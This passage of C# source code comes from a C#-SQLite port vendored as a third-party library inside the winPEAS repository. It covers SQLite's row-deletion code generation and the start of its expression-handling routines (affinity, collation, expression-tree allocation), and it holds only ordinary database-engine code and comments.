iCur, iRowid, false ); sqlite3VdbeAddOp2( v, OP_RowSetAdd, iRowSet, regRowid ); if ( ( db.flags & SQLITE_CountRows ) != 0 ) { sqlite3VdbeAddOp2( v, OP_AddImm, memCnt, 1 ); } sqlite3WhereEnd( pWInfo ); /* Open the pseudo-table used to store OLD if there are triggers. */ if ( pTrigger != null ) { sqlite3VdbeAddOp3( v, OP_OpenPseudo, oldIdx, 0, pTab.nCol ); } /* Delete every item whose key was written to the list during the ** database scan. We have to delete items after the scan is complete ** because deleting an item can change the scan order. */ end = sqlite3VdbeMakeLabel( v ); if ( !isView ) { /* Open cursors for the table we are deleting from and ** all its indices. */ sqlite3OpenTableAndIndices( pParse, pTab, iCur, OP_OpenWrite ); } /* This is the beginning of the delete loop. If a trigger encounters ** an IGNORE constraint, it jumps back to here. */ if ( pTrigger != null ) { sqlite3VdbeResolveLabel( v, addr ); } addr = sqlite3VdbeAddOp3( v, OP_RowSetRead, iRowSet, end, iRowid ); if ( pTrigger != null ) { int iData = ++pParse.nMem; /* For storing row data of OLD table */ /* If the record is no longer present in the table, jump to the ** next iteration of the loop through the contents of the fifo. */ sqlite3VdbeAddOp3( v, OP_NotExists, iCur, addr, iRowid ); /* Populate the OLD.* pseudo-table */ if ( old_col_mask != 0 ) { sqlite3VdbeAddOp2( v, OP_RowData, iCur, iData ); } else { sqlite3VdbeAddOp2( v, OP_Null, 0, iData ); } sqlite3VdbeAddOp3( v, OP_Insert, oldIdx, iData, iRowid ); /* Jump back and run the BEFORE triggers */ sqlite3VdbeAddOp2( v, OP_Goto, 0, iBeginBeforeTrigger ); sqlite3VdbeJumpHere( v, iEndBeforeTrigger ); } if ( !isView ) { /* Delete the row */ #if !SQLITE_OMIT_VIRTUALTABLE if( IsVirtual(pTab) ){ const char *pVTab = (const char *)sqlite3GetVTable(db, pTab); sqlite3VtabMakeWritable(pParse, pTab); sqlite3VdbeAddOp4(v, OP_VUpdate, 0, 1, iRowid, pVTab, P4_VTAB); }else #endif { sqlite3GenerateRowDelete( pParse, pTab, iCur, iRowid, pParse.nested == 0 ? 1 : 0 ); } } /* If there are row triggers, close all cursors then invoke ** the AFTER triggers */ if ( pTrigger != null ) { /* Jump back and run the AFTER triggers */ sqlite3VdbeAddOp2( v, OP_Goto, 0, iBeginAfterTrigger ); sqlite3VdbeJumpHere( v, iEndAfterTrigger ); } /* End of the delete loop */ sqlite3VdbeAddOp2( v, OP_Goto, 0, addr ); sqlite3VdbeResolveLabel( v, end ); /* Close the cursors after the loop if there are no row triggers */ if ( !isView && !IsVirtual( pTab ) ) { for ( i = 1, pIdx = pTab.pIndex ; pIdx != null ; i++, pIdx = pIdx.pNext ) { sqlite3VdbeAddOp2( v, OP_Close, iCur + i, pIdx.tnum ); } sqlite3VdbeAddOp1( v, OP_Close, iCur ); } } /* Update the sqlite_sequence table by storing the content of the ** maximum rowid counter values recorded while inserting into ** autoincrement tables. */ if ( pParse.nested == 0 && pParse.trigStack == null ) { sqlite3AutoincrementEnd( pParse ); } /* ** Return the number of rows that were deleted. If this routine is ** generating code because of a call to sqlite3NestedParse(), do not ** invoke the callback function. */ if ( ( db.flags & SQLITE_CountRows ) != 0 && pParse.nested == 0 && pParse.trigStack == null ) { sqlite3VdbeAddOp2( v, OP_ResultRow, memCnt, 1 ); sqlite3VdbeSetNumCols( v, 1 ); sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "rows deleted", SQLITE_STATIC ); } delete_from_cleanup: #if !SQLITE_OMIT_AUTHORIZATION sqlite3AuthContextPop(sContext); #endif sqlite3SrcListDelete( db, ref pTabList ); sqlite3ExprDelete( db, ref pWhere ); return; } /* ** This routine generates VDBE code that causes a single row of a ** single table to be deleted. ** ** The VDBE must be in a particular state when this routine is called. ** These are the requirements: ** ** 1. A read/write cursor pointing to pTab, the table containing the row ** to be deleted, must be opened as cursor number "base". ** ** 2. Read/write cursors for all indices of pTab must be open as ** cursor number base+i for the i-th index. ** ** 3. The record number of the row to be deleted must be stored in ** memory cell iRowid. ** ** This routine pops the top of the stack to remove the record number ** and then generates code to remove both the table record and all index ** entries that point to that record. */ static void sqlite3GenerateRowDelete( Parse pParse, /* Parsing context */ Table pTab, /* Table containing the row to be deleted */ int iCur, /* VdbeCursor number for the table */ int iRowid, /* Memory cell that contains the rowid to delete */ int count /* Increment the row change counter */ ) { int addr; Vdbe v; v = pParse.pVdbe; addr = sqlite3VdbeAddOp3( v, OP_NotExists, iCur, 0, iRowid ); sqlite3GenerateRowIndexDelete( pParse, pTab, iCur, 0 ); sqlite3VdbeAddOp2( v, OP_Delete, iCur, ( count > 0 ? (int)OPFLAG_NCHANGE : 0 ) ); if ( count > 0 ) { sqlite3VdbeChangeP4( v, -1, pTab.zName, P4_STATIC ); } sqlite3VdbeJumpHere( v, addr ); } /* ** This routine generates VDBE code that causes the deletion of all ** index entries associated with a single row of a single table. ** ** The VDBE must be in a particular state when this routine is called. ** These are the requirements: ** ** 1. A read/write cursor pointing to pTab, the table containing the row ** to be deleted, must be opened as cursor number "iCur". ** ** 2. Read/write cursors for all indices of pTab must be open as ** cursor number iCur+i for the i-th index. ** ** 3. The "iCur" cursor must be pointing to the row that is to be ** deleted. */ static void sqlite3GenerateRowIndexDelete( Parse pParse, /* Parsing and code generating context */ Table pTab, /* Table containing the row to be deleted */ int iCur, /* VdbeCursor number for the table */ int nothing /* Only delete if aRegIdx!=0 && aRegIdx[i]>0 */ ) { int[] aRegIdx = null; sqlite3GenerateRowIndexDelete( pParse, pTab, iCur, aRegIdx ); } static void sqlite3GenerateRowIndexDelete( Parse pParse, /* Parsing and code generating context */ Table pTab, /* Table containing the row to be deleted */ int iCur, /* VdbeCursor number for the table */ int[] aRegIdx /* Only delete if aRegIdx!=0 && aRegIdx[i]>0 */ ) { int i; Index pIdx; int r1; for ( i = 1, pIdx = pTab.pIndex ; pIdx != null ; i++, pIdx = pIdx.pNext ) { if ( aRegIdx != null && aRegIdx[i - 1] == 0 ) continue; r1 = sqlite3GenerateIndexKey( pParse, pIdx, iCur, 0, false ); sqlite3VdbeAddOp3( pParse.pVdbe, OP_IdxDelete, iCur + i, r1, pIdx.nColumn + 1 ); } } /* ** Generate code that will assemble an index key and put it in register ** regOut. The key with be for index pIdx which is an index on pTab. ** iCur is the index of a cursor open on the pTab table and pointing to ** the entry that needs indexing. ** ** Return a register number which is the first in a block of ** registers that holds the elements of the index key. The ** block of registers has already been deallocated by the time ** this routine returns. */ static int sqlite3GenerateIndexKey( Parse pParse, /* Parsing context */ Index pIdx, /* The index for which to generate a key */ int iCur, /* VdbeCursor number for the pIdx.pTable table */ int regOut, /* Write the new index key to this register */ bool doMakeRec /* Run the OP_MakeRecord instruction if true */ ) { Vdbe v = pParse.pVdbe; int j; Table pTab = pIdx.pTable; int regBase; int nCol; nCol = pIdx.nColumn; regBase = sqlite3GetTempRange( pParse, nCol + 1 ); sqlite3VdbeAddOp2( v, OP_Rowid, iCur, regBase + nCol ); for ( j = 0 ; j < nCol ; j++ ) { int idx = pIdx.aiColumn[j]; if ( idx == pTab.iPKey ) { sqlite3VdbeAddOp2( v, OP_SCopy, regBase + nCol, regBase + j ); } else { sqlite3VdbeAddOp3( v, OP_Column, iCur, idx, regBase + j ); sqlite3ColumnDefault( v, pTab, idx, -1 ); } } if ( doMakeRec ) { sqlite3VdbeAddOp3( v, OP_MakeRecord, regBase, nCol + 1, regOut ); sqlite3IndexAffinityStr( v, pIdx ); sqlite3ExprCacheAffinityChange( pParse, regBase, nCol + 1 ); } sqlite3ReleaseTempRange( pParse, regBase, nCol + 1 ); return regBase; } /* Make sure "isView" gets undefined in case this file becomes part of ** the amalgamation - so that subsequent files do not see isView as a ** macro. */ //#undef isView } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/expr_c.cs ================================================ #define SQLITE_MAX_EXPR_DEPTH using System; using System.Diagnostics; using System.Text; using i64 = System.Int64; using u8 = System.Byte; using u32 = System.UInt32; using u16 = System.UInt16; namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2001 September 15 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** This file contains routines used for analyzing expressions and ** for generating VDBE code that evaluates expressions in SQLite. ** ** $Id: expr.c,v 1.448 2009/07/27 10:05:05 danielk1977 Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#include "sqliteInt.h" /* ** Return the 'affinity' of the expression pExpr if any. ** ** If pExpr is a column, a reference to a column via an 'AS' alias, ** or a sub-select with a column as the return value, then the ** affinity of that column is returned. Otherwise, 0x00 is returned, ** indicating no affinity for the expression. ** ** i.e. the WHERE clause expresssions in the following statements all ** have an affinity: ** ** CREATE TABLE t1(a); ** SELECT * FROM t1 WHERE a; ** SELECT a AS b FROM t1 WHERE b; ** SELECT * FROM t1 WHERE (select a from t1); */ static char sqlite3ExprAffinity( Expr pExpr ) { int op = pExpr.op; if ( op == TK_SELECT ) { Debug.Assert( ( pExpr.flags & EP_xIsSelect ) != 0 ); return sqlite3ExprAffinity( pExpr.x.pSelect.pEList.a[0].pExpr ); } #if !SQLITE_OMIT_CAST if ( op == TK_CAST ) { Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); return sqlite3AffinityType( pExpr.u.zToken ); } #endif if ( ( op == TK_AGG_COLUMN || op == TK_COLUMN || op == TK_REGISTER ) && pExpr.pTab != null ) { /* op==TK_REGISTER && pExpr.pTab!=0 happens when pExpr was originally ** a TK_COLUMN but was previously evaluated and cached in a register */ int j = pExpr.iColumn; if ( j < 0 ) return SQLITE_AFF_INTEGER; Debug.Assert( pExpr.pTab != null && j < pExpr.pTab.nCol ); return pExpr.pTab.aCol[j].affinity; } return pExpr.affinity; } /* ** Set the collating sequence for expression pExpr to be the collating ** sequence named by pToken. Return a pointer to the revised expression. ** The collating sequence is marked as "explicit" using the EP_ExpCollate ** flag. An explicit collating sequence will override implicit ** collating sequences. */ static Expr sqlite3ExprSetColl( Parse pParse, Expr pExpr, Token pCollName ) { string zColl; /* Dequoted name of collation sequence */ CollSeq pColl; sqlite3 db = pParse.db; zColl = sqlite3NameFromToken( db, pCollName ); if ( pExpr != null && zColl != null ) { pColl = sqlite3LocateCollSeq( pParse, zColl ); if ( pColl != null ) { pExpr.pColl = pColl; pExpr.flags |= EP_ExpCollate; } } //sqlite3DbFree( db, ref zColl ); return pExpr; } /* ** Return the default collation sequence for the expression pExpr. If ** there is no default collation type, return 0. */ static CollSeq sqlite3ExprCollSeq( Parse pParse, Expr pExpr ) { CollSeq pColl = null; Expr p = pExpr; while ( ALWAYS( p != null ) ) { int op; pColl = pExpr.pColl; if (pColl != null ) break; op = p.op; if ( ( op == TK_AGG_COLUMN || op == TK_COLUMN || op == TK_REGISTER ) && p.pTab != null ) { /* op==TK_REGISTER && p->pTab!=0 happens when pExpr was originally ** a TK_COLUMN but was previously evaluated and cached in a register */ string zColl; int j = p.iColumn; if ( j >= 0 ) { sqlite3 db = pParse.db; zColl = p.pTab.aCol[j].zColl; pColl = sqlite3FindCollSeq( db, ENC( db ), zColl, 0 ); pExpr.pColl = pColl; } break; } if ( op != TK_CAST && op != TK_UPLUS ) { break; } p = p.pLeft; } if ( sqlite3CheckCollSeq( pParse, pColl ) != 0 ) { pColl = null; } return pColl; } /* ** pExpr is an operand of a comparison operator. aff2 is the ** type affinity of the other operand. This routine returns the ** type affinity that should be used for the comparison operator. */ static char sqlite3CompareAffinity( Expr pExpr, char aff2 ) { char aff1 = sqlite3ExprAffinity( pExpr ); if ( aff1 != '\0' && aff2 != '\0' ) { /* Both sides of the comparison are columns. If one has numeric ** affinity, use that. Otherwise use no affinity. */ if ( aff1 >= SQLITE_AFF_NUMERIC || aff2 >= SQLITE_AFF_NUMERIC ) // if (sqlite3IsNumericAffinity(aff1) || sqlite3IsNumericAffinity(aff2)) { return SQLITE_AFF_NUMERIC; } else { return SQLITE_AFF_NONE; } } else if ( aff1 == '\0' && aff2 == '\0' ) { /* Neither side of the comparison is a column. Compare the ** results directly. */ return SQLITE_AFF_NONE; } else { /* One side is a column, the other is not. Use the columns affinity. */ Debug.Assert( aff1 == 0 || aff2 == 0 ); return ( aff1 != '\0' ? aff1 : aff2 ); } } /* ** pExpr is a comparison operator. Return the type affinity that should ** be applied to both operands prior to doing the comparison. */ static char comparisonAffinity( Expr pExpr ) { char aff; Debug.Assert( pExpr.op == TK_EQ || pExpr.op == TK_IN || pExpr.op == TK_LT || pExpr.op == TK_GT || pExpr.op == TK_GE || pExpr.op == TK_LE || pExpr.op == TK_NE ); Debug.Assert( pExpr.pLeft != null ); aff = sqlite3ExprAffinity( pExpr.pLeft ); if ( pExpr.pRight != null ) { aff = sqlite3CompareAffinity( pExpr.pRight, aff ); } else if ( ExprHasProperty( pExpr, EP_xIsSelect ) ) { aff = sqlite3CompareAffinity( pExpr.x.pSelect.pEList.a[0].pExpr, aff ); } else if ( aff == '\0' ) { aff = SQLITE_AFF_NONE; } return aff; } /* ** pExpr is a comparison expression, eg. '=', '<', IN(...) etc. ** idx_affinity is the affinity of an indexed column. Return true ** if the index with affinity idx_affinity may be used to implement ** the comparison in pExpr. */ static bool sqlite3IndexAffinityOk( Expr pExpr, char idx_affinity ) { char aff = comparisonAffinity( pExpr ); switch ( aff ) { case SQLITE_AFF_NONE: return true; case SQLITE_AFF_TEXT: return idx_affinity == SQLITE_AFF_TEXT; default: return idx_affinity >= SQLITE_AFF_NUMERIC;// sqlite3IsNumericAffinity(idx_affinity); } } /* ** Return the P5 value that should be used for a binary comparison ** opcode (OP_Eq, OP_Ge etc.) used to compare pExpr1 and pExpr2. */ static u8 binaryCompareP5( Expr pExpr1, Expr pExpr2, int jumpIfNull ) { u8 aff = (u8)sqlite3ExprAffinity( pExpr2 ); aff = (u8)( (u8)sqlite3CompareAffinity( pExpr1, (char)aff ) | (u8)jumpIfNull ); return aff; } /* ** Return a pointer to the collation sequence that should be used by ** a binary comparison operator comparing pLeft and pRight. ** ** If the left hand expression has a collating sequence type, then it is ** used. Otherwise the collation sequence for the right hand expression ** is used, or the default (BINARY) if neither expression has a collating ** type. ** ** Argument pRight (but not pLeft) may be a null pointer. In this case, ** it is not considered. */ static CollSeq sqlite3BinaryCompareCollSeq( Parse pParse, Expr pLeft, Expr pRight ) { CollSeq pColl; Debug.Assert( pLeft != null ); if ( ( pLeft.flags & EP_ExpCollate ) != 0 ) { Debug.Assert( pLeft.pColl != null ); pColl = pLeft.pColl; } else if ( pRight != null && ( ( pRight.flags & EP_ExpCollate ) != 0 ) ) { Debug.Assert( pRight.pColl != null ); pColl = pRight.pColl; } else { pColl = sqlite3ExprCollSeq( pParse, pLeft ); if ( pColl == null ) { pColl = sqlite3ExprCollSeq( pParse, pRight ); } } return pColl; } /* ** Generate the operands for a comparison operation. Before ** generating the code for each operand, set the EP_AnyAff ** flag on the expression so that it will be able to used a ** cached column value that has previously undergone an ** affinity change. */ static void codeCompareOperands( Parse pParse, /* Parsing and code generating context */ Expr pLeft, /* The left operand */ ref int pRegLeft, /* Register where left operand is stored */ ref int pFreeLeft, /* Free this register when done */ Expr pRight, /* The right operand */ ref int pRegRight, /* Register where right operand is stored */ ref int pFreeRight /* Write temp register for right operand there */ ) { while ( pLeft.op == TK_UPLUS ) pLeft = pLeft.pLeft; pLeft.flags |= EP_AnyAff; pRegLeft = sqlite3ExprCodeTemp( pParse, pLeft, ref pFreeLeft ); while ( pRight.op == TK_UPLUS ) pRight = pRight.pLeft; pRight.flags |= EP_AnyAff; pRegRight = sqlite3ExprCodeTemp( pParse, pRight, ref pFreeRight ); } /* ** Generate code for a comparison operator. */ static int codeCompare( Parse pParse, /* The parsing (and code generating) context */ Expr pLeft, /* The left operand */ Expr pRight, /* The right operand */ int opcode, /* The comparison opcode */ int in1, int in2, /* Register holding operands */ int dest, /* Jump here if true. */ int jumpIfNull /* If true, jump if either operand is NULL */ ) { int p5; int addr; CollSeq p4; p4 = sqlite3BinaryCompareCollSeq( pParse, pLeft, pRight ); p5 = binaryCompareP5( pLeft, pRight, jumpIfNull ); addr = sqlite3VdbeAddOp4( pParse.pVdbe, opcode, in2, dest, in1, p4, P4_COLLSEQ ); sqlite3VdbeChangeP5( pParse.pVdbe, (u8)p5 ); if ( ( p5 & SQLITE_AFF_MASK ) != SQLITE_AFF_NONE ) { sqlite3ExprCacheAffinityChange( pParse, in1, 1 ); sqlite3ExprCacheAffinityChange( pParse, in2, 1 ); } return addr; } #if SQLITE_MAX_EXPR_DEPTH //>0 /* ** Check that argument nHeight is less than or equal to the maximum ** expression depth allowed. If it is not, leave an error message in ** pParse. */ static int sqlite3ExprCheckHeight( Parse pParse, int nHeight ) { int rc = SQLITE_OK; int mxHeight = pParse.db.aLimit[SQLITE_LIMIT_EXPR_DEPTH]; if ( nHeight > mxHeight ) { sqlite3ErrorMsg( pParse, "Expression tree is too large (maximum depth %d)", mxHeight ); rc = SQLITE_ERROR; } return rc; } /* The following three functions, heightOfExpr(), heightOfExprList() ** and heightOfSelect(), are used to determine the maximum height ** of any expression tree referenced by the structure passed as the ** first argument. ** ** If this maximum height is greater than the current value pointed ** to by pnHeight, the second parameter, then set pnHeight to that ** value. */ static void heightOfExpr( Expr p, ref int pnHeight ) { if ( p != null ) { if ( p.nHeight > pnHeight ) { pnHeight = p.nHeight; } } } static void heightOfExprList( ExprList p, ref int pnHeight ) { if ( p != null ) { int i; for ( i = 0 ; i < p.nExpr ; i++ ) { heightOfExpr( p.a[i].pExpr, ref pnHeight ); } } } static void heightOfSelect( Select p, ref int pnHeight ) { if ( p != null ) { heightOfExpr( p.pWhere, ref pnHeight ); heightOfExpr( p.pHaving, ref pnHeight ); heightOfExpr( p.pLimit, ref pnHeight ); heightOfExpr( p.pOffset, ref pnHeight ); heightOfExprList( p.pEList, ref pnHeight ); heightOfExprList( p.pGroupBy, ref pnHeight ); heightOfExprList( p.pOrderBy, ref pnHeight ); heightOfSelect( p.pPrior, ref pnHeight ); } } /* ** Set the Expr.nHeight variable in the structure passed as an ** argument. An expression with no children, Expr.x.pList or ** Expr.x.pSelect member has a height of 1. Any other expression ** has a height equal to the maximum height of any other ** referenced Expr plus one. */ static void exprSetHeight( Expr p ) { int nHeight = 0; heightOfExpr( p.pLeft, ref nHeight ); heightOfExpr( p.pRight, ref nHeight ); if ( ExprHasProperty( p, EP_xIsSelect ) ) { heightOfSelect( p.x.pSelect, ref nHeight ); } else { heightOfExprList( p.x.pList, ref nHeight ); } p.nHeight = nHeight + 1; } /* ** Set the Expr.nHeight variable using the exprSetHeight() function. If ** the height is greater than the maximum allowed expression depth, ** leave an error in pParse. */ static void sqlite3ExprSetHeight( Parse pParse, Expr p ) { exprSetHeight( p ); sqlite3ExprCheckHeight( pParse, p.nHeight ); } /* ** Return the maximum height of any expression tree referenced ** by the select statement passed as an argument. */ static int sqlite3SelectExprHeight( Select p ) { int nHeight = 0; heightOfSelect( p, ref nHeight ); return nHeight; } #else //#define exprSetHeight(y) #endif //* SQLITE_MAX_EXPR_DEPTH>0 */ /* ** This routine is the core allocator for Expr nodes. ** ** Construct a new expression node and return a pointer to it. Memory ** for this node and for the pToken argument is a single allocation ** obtained from sqlite3DbMalloc(). The calling function ** is responsible for making sure the node eventually gets freed. ** ** If dequote is true, then the token (if it exists) is dequoted. ** If dequote is false, no dequoting is performance. The deQuote ** parameter is ignored if pToken is NULL or if the token does not ** appear to be quoted. If the quotes were of the form "..." (double-quotes) ** then the EP_DblQuoted flag is set on the expression node. ** ** Special case: If op==TK_INTEGER and pToken points to a string that ** can be translated into a 32-bit integer, then the token is not ** stored in u.zToken. Instead, the integer values is written ** into u.iValue and the EP_IntValue flag is set. No extra storage ** is allocated to hold the integer text and the dequote flag is ignored. */ static Expr sqlite3ExprAlloc( sqlite3 db, /* Handle for sqlite3DbMallocZero() (may be null) */ int op, /* Expression opcode */ Token pToken, /* Token argument. Might be NULL */ int dequote /* True to dequote */ ) { Expr pNew; int nExtra = 0; int iValue = 0; if ( pToken != null ) { if ( op != TK_INTEGER || pToken.z == null || pToken.z.Length == 0 || sqlite3GetInt32( pToken.z.ToString(), ref iValue ) == false ) { nExtra = pToken.n + 1; } } pNew = new Expr();//sqlite3DbMallocZero(db, sizeof(Expr)+nExtra); if ( pNew != null ) { pNew.op = (u8)op; pNew.iAgg = -1; if ( pToken != null ) { if ( nExtra == 0 ) { pNew.flags |= EP_IntValue; pNew.u.iValue = iValue; } else { int c; //pNew.u.zToken = (char*)&pNew[1]; if ( pToken.n > 0 ) pNew.u.zToken = pToken.z.Substring( 0, pToken.n );//memcpy(pNew.u.zToken, pToken.z, pToken.n); //pNew.u.zToken[pToken.n] = 0; if ( dequote != 0 && nExtra >= 3 && ( ( c = pToken.z[0] ) == '\'' || c == '"' || c == '[' || c == '`' ) ) { #if DEBUG_CLASS_EXPR || DEBUG_CLASS_ALL sqlite3Dequote(ref pNew.u._zToken); #else sqlite3Dequote( ref pNew.u.zToken ); #endif if ( c == '"' ) pNew.flags |= EP_DblQuoted; } } } #if SQLITE_MAX_EXPR_DEPTH//>0 pNew.nHeight = 1; #endif } return pNew; } /* ** Allocate a new expression node from a zero-terminated token that has ** already been dequoted. */ static Expr sqlite3Expr( sqlite3 db, /* Handle for sqlite3DbMallocZero() (may be null) */ int op, /* Expression opcode */ string zToken /* Token argument. Might be NULL */ ) { Token x = new Token(); x.z = zToken; x.n = !String.IsNullOrEmpty( zToken ) ? sqlite3Strlen30( zToken ) : 0; return sqlite3ExprAlloc( db, op, x, 0 ); } /* ** Attach subtrees pLeft and pRight to the Expr node pRoot. ** ** If pRoot==NULL that means that a memory allocation error has occurred. ** In that case, delete the subtrees pLeft and pRight. */ static void sqlite3ExprAttachSubtrees( sqlite3 db, Expr pRoot, Expr pLeft, Expr pRight ) { if ( pRoot == null ) { //Debug.Assert( db.mallocFailed != 0 ); sqlite3ExprDelete( db, ref pLeft ); sqlite3ExprDelete( db, ref pRight ); } else { if ( pRight != null ) { pRoot.pRight = pRight; if ( ( pRight.flags & EP_ExpCollate ) != 0 ) { pRoot.flags |= EP_ExpCollate; pRoot.pColl = pRight.pColl; } } if ( pLeft != null ) { pRoot.pLeft = pLeft; if ( ( pLeft.flags & EP_ExpCollate ) != 0 ) { pRoot.flags |= EP_ExpCollate; pRoot.pColl = pLeft.pColl; } } exprSetHeight( pRoot ); } } /* ** Allocate a Expr node which joins as many as two subtrees. ** ** One or both of the subtrees can be NULL. Return a pointer to the new ** Expr node. Or, if an OOM error occurs, set pParse->db->mallocFailed, ** free the subtrees and return NULL. */ // OVERLOADS, so I don't need to rewrite parse.c static Expr sqlite3PExpr( Parse pParse, int op, int null_3, int null_4, int null_5 ) { return sqlite3PExpr( pParse, op, null, null, null ); } static Expr sqlite3PExpr( Parse pParse, int op, int null_3, int null_4, Token pToken ) { return sqlite3PExpr( pParse, op, null, null, pToken ); } static Expr sqlite3PExpr( Parse pParse, int op, Expr pLeft, int null_4, int null_5 ) { return sqlite3PExpr( pParse, op, pLeft, null, null ); } static Expr sqlite3PExpr( Parse pParse, int op, Expr pLeft, int null_4, Token pToken ) { return sqlite3PExpr( pParse, op, pLeft, null, pToken ); } static Expr sqlite3PExpr( Parse pParse, int op, Expr pLeft, Expr pRight, int null_5 ) { return sqlite3PExpr( pParse, op, pLeft, pRight, null ); } static Expr sqlite3PExpr( Parse pParse, /* Parsing context */ int op, /* Expression opcode */ Expr pLeft, /* Left operand */ Expr pRight, /* Right operand */ Token pToken /* Argument Token */ ) { Expr p = sqlite3ExprAlloc( pParse.db, op, pToken, 1 ); sqlite3ExprAttachSubtrees( pParse.db, p, pLeft, pRight ); return p; } /* ** When doing a nested parse, you can include terms in an expression ** that look like this: #1 #2 ... These terms refer to registers ** in the virtual machine. #N is the N-th register. ** ** This routine is called by the parser to deal with on of those terms. ** It immediately generates code to store the value in a memory location. ** The returns an expression that will code to extract the value from ** that memory location as needed. */ static Expr sqlite3RegisterExpr( Parse pParse, Token pToken ) { Vdbe v = pParse.pVdbe; Expr p; if ( pParse.nested == 0 ) { sqlite3ErrorMsg( pParse, "near \"%T\": syntax error", pToken ); return sqlite3PExpr( pParse, TK_NULL, null, null, null ); } if ( v == null ) return null; p = sqlite3PExpr( pParse, TK_REGISTER, null, null, pToken ); if ( p == null ) { return null; /* Malloc failed */ } p.u.iValue = atoi( pToken.z.Substring( 1 ) ); ;//atoi((char*)&pToken - z[1]); return p; } /* ** Join two expressions using an AND operator. If either expression is ** NULL, then just return the other expression. */ static Expr sqlite3ExprAnd( sqlite3 db, Expr pLeft, Expr pRight ) { if ( pLeft == null ) { return pRight; } else if ( pRight == null ) { return pLeft; } else { Expr pNew = sqlite3ExprAlloc( db, TK_AND, null, 0 ); sqlite3ExprAttachSubtrees( db, pNew, pLeft, pRight ); return pNew; } } /* ** Construct a new expression node for a function with multiple ** arguments. */ // OVERLOADS, so I don't need to rewrite parse.c static Expr sqlite3ExprFunction( Parse pParse, int null_2, Token pToken ) { return sqlite3ExprFunction( pParse, null, pToken ); } static Expr sqlite3ExprFunction( Parse pParse, ExprList pList, int null_3 ) { return sqlite3ExprFunction( pParse, pList, null ); } static Expr sqlite3ExprFunction( Parse pParse, ExprList pList, Token pToken ) { Expr pNew; sqlite3 db = pParse.db; Debug.Assert( pToken != null ); pNew = sqlite3ExprAlloc( db, TK_FUNCTION, pToken, 1 ); if ( pNew == null ) { sqlite3ExprListDelete( db, ref pList ); /* Avoid memory leak when malloc fails */ return null; } pNew.x.pList = pList; Debug.Assert( !ExprHasProperty( pNew, EP_xIsSelect ) ); sqlite3ExprSetHeight( pParse, pNew ); return pNew; } /* ** Assign a variable number to an expression that encodes a wildcard ** in the original SQL statement. ** ** Wildcards consisting of a single "?" are assigned the next sequential ** variable number. ** ** Wildcards of the form "?nnn" are assigned the number "nnn". We make ** sure "nnn" is not too be to avoid a denial of service attack when ** the SQL statement comes from an external source. ** ** Wildcards of the form ":aaa", "@aaa" or "$aaa" are assigned the same number ** as the previous instance of the same wildcard. Or if this is the first ** instance of the wildcard, the next sequenial variable number is ** assigned. */ static void sqlite3ExprAssignVarNumber( Parse pParse, Expr pExpr ) { sqlite3 db = pParse.db; string z; if ( pExpr == null ) return; Debug.Assert( !ExprHasAnyProperty( pExpr, EP_IntValue | EP_Reduced | EP_TokenOnly ) ); z = pExpr.u.zToken; Debug.Assert( z != null ); Debug.Assert( z.Length != 0 ); if ( z.Length == 1 ) { /* Wildcard of the form "?". Assign the next variable number */ Debug.Assert( z[0] == '?' ); pExpr.iTable = ++pParse.nVar; } else if ( z[0] == '?' ) { /* Wildcard of the form "?nnn". Convert "nnn" to an integer and ** use it as the variable number */ int i; pExpr.iTable = i = atoi( z.Substring( 1 ) );//atoi((char*)&z[1]); testcase( i == 0 ); testcase( i == 1 ); testcase( i == db.aLimit[SQLITE_LIMIT_VARIABLE_NUMBER] - 1 ); testcase( i == db.aLimit[SQLITE_LIMIT_VARIABLE_NUMBER] ); if ( i < 1 || i > db.aLimit[SQLITE_LIMIT_VARIABLE_NUMBER] ) { sqlite3ErrorMsg( pParse, "variable number must be between ?1 and ?%d", db.aLimit[SQLITE_LIMIT_VARIABLE_NUMBER] ); } if ( i > pParse.nVar ) { pParse.nVar = i; } } else { /* Wildcards like ":aaa", "$aaa" or "@aaa". Reuse the same variable ** number as the prior appearance of the same name, or if the name ** has never appeared before, reuse the same variable number */ int i; int n; n = sqlite3Strlen30( z ); for ( i = 0 ; i < pParse.nVarExpr ; i++ ) { Expr pE = pParse.apVarExpr[i]; Debug.Assert( pE != null ); if ( memcmp( pE.u.zToken, z, n ) == 0 && pE.u.zToken.Length == n ) { pExpr.iTable = pE.iTable; break; } } if ( i >= pParse.nVarExpr ) { pExpr.iTable = ++pParse.nVar; if ( pParse.nVarExpr >= pParse.nVarExprAlloc - 1 ) { pParse.nVarExprAlloc += pParse.nVarExprAlloc + 10; pParse.apVarExpr = new Expr[pParse.nVarExprAlloc]; //sqlite3DbReallocOrFree( // db, // pParse.apVarExpr, // pParse.nVarExprAlloc*sizeof(pParse.apVarExpr[0]) //); } //if ( 0 == db.mallocFailed ) { Debug.Assert( pParse.apVarExpr != null ); pParse.apVarExpr[pParse.nVarExpr++] = pExpr; } } } if ( pParse.nErr == 0 && pParse.nVar > db.aLimit[SQLITE_LIMIT_VARIABLE_NUMBER] ) { sqlite3ErrorMsg( pParse, "too many SQL variables" ); } } /* ** Clear an expression structure without deleting the structure itself. ** Substructure is deleted. */ static void sqlite3ExprClear( sqlite3 db, Expr p ) { Debug.Assert( p != null ); if ( !ExprHasAnyProperty( p, EP_TokenOnly ) ) { sqlite3ExprDelete( db, ref p.pLeft ); sqlite3ExprDelete( db, ref p.pRight ); if ( !ExprHasProperty( p, EP_Reduced ) && ( p.flags2 & EP2_MallocedToken ) != 0 ) { #if DEBUG_CLASS_EXPR || DEBUG_CLASS_ALL //sqlite3DbFree( db, ref p.u._zToken ); #else //sqlite3DbFree( db, ref p.u.zToken ); #endif } if ( ExprHasProperty( p, EP_xIsSelect ) ) { sqlite3SelectDelete( db, ref p.x.pSelect ); } else { sqlite3ExprListDelete( db, ref p.x.pList ); } } } /* ** Recursively delete an expression tree. */ static void sqlite3ExprDelete( sqlite3 db, ref Expr p ) { if ( p == null ) return; sqlite3ExprClear( db, p ); if ( !ExprHasProperty( p, EP_Static ) ) { //sqlite3DbFree( db, ref p ); } } /* ** Return the number of bytes allocated for the expression structure ** passed as the first 